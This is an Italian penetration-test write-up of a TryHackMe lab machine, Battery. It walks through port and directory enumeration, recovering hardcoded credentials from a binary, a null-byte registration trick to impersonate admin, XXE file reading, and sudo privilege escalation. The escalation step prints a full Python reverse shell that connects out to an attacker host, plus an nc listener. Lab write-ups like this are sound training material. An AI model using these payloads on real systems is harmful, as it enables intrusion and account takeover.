

Penetration Test Report (OSCP Style)

Battery

Franco Salvucci

Contents

1	Informazioni sul Target	2
2	Enumerazione	2
2.1	Port Scanning	2
2.2	Enumerazione Web	2
3	Reverse Engineering	2
3.1	Analisi del binario	2
4	Accesso Amministrativo	3
4.1	Null Byte Injection	3
5	XXE Exploitation	3
5.1	Identificazione vulnerabilità	3
5.2	Payload XXE	3
6	Accesso SSH	3
7	Privilege Escalation	3
7.1	Enumerazione sudo	3
7.2	Sfruttamento	4
8	Proof of Compromise	4
8.1	User Flag	4
8.2	Root Flag	4
9	Conclusioni	4
10	Note	4

1 Informazioni sul Target

- Target: 10.112.175.27
- Ambiente: TryHackMe

2 Enumerazione

2.1 Port Scanning

```
nmap -sC -sV TARGET_IP
```

Porte aperte individuate:

- 22/tcp – SSH
- 80/tcp – HTTP

2.2 Enumerazione Web

Directory brute forcing:

```
gobuster dir -u http://TARGET_IP \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
-x php,txt,html
```

Directory interessanti:

- /register.php
- /admin.php
- /forms.php
- /report

3 Reverse Engineering

3.1 Analisi del binario

Il file `/report` scarica un binario ELF.

```
file report
```

Il binario viene aperto con Ghidra.

Nel main viene identificato confronto con credenziali hardcoded:

```
guest:guest
```

Il binario contiene inoltre:

- lista utenti
- funzione update password

4 Accesso Amministrativo

4.1 Null Byte Injection

È stato intercettato il traffico di registrazione con Burp Suite.

Payload utilizzato:

```
admin@bank.a%00
```

Registrando questo utente è possibile autenticarsi come admin.

5 XXE Exploitation

5.1 Identificazione vulnerabilità

La pagina `/forms.php` processa XML input.

Il contenuto XML viene riflesso nella risposta.

5.2 Payload XXE

È stato utilizzato payload XXE per leggere file locali.

File letti:

- `/etc/passwd`
- file PHP applicativi

Dai file PHP vengono recuperate credenziali SSH.

6 Accesso SSH

```
ssh cyber@TARGET_IP
```

Accesso riuscito.

7 Privilege Escalation

7.1 Enumerazione sudo

```
sudo -l
```

Output:

```
(root) NOPASSWD:  
/usr/bin/python3 /home/cyber/run.py
```

7.2 Sfruttamento

Il file `run.py` viene sostituito con payload reverse shell:

```
import socket,os,pty;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("ATT_IP",9001));
os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
pty.spawn("/bin/sh")
```

Listener:

```
nc -lvnp 9001
```

Esecuzione:

```
sudo /usr/bin/python3 /home/cyber/run.py
```

Risultato: shell root ottenuta

8 Proof of Compromise

8.1 User Flag

```
/home/cyber/flag1.txt
```

8.2 Root Flag

```
/root/root.txt
```

9 Conclusioni

Il sistema è stato compromesso tramite:

- Reverse engineering
- Null byte injection
- XXE
- sudo misconfiguration

10 Note

La macchina includeva anche un secondo metodo alternativo di privilege escalation non trattato in questo report.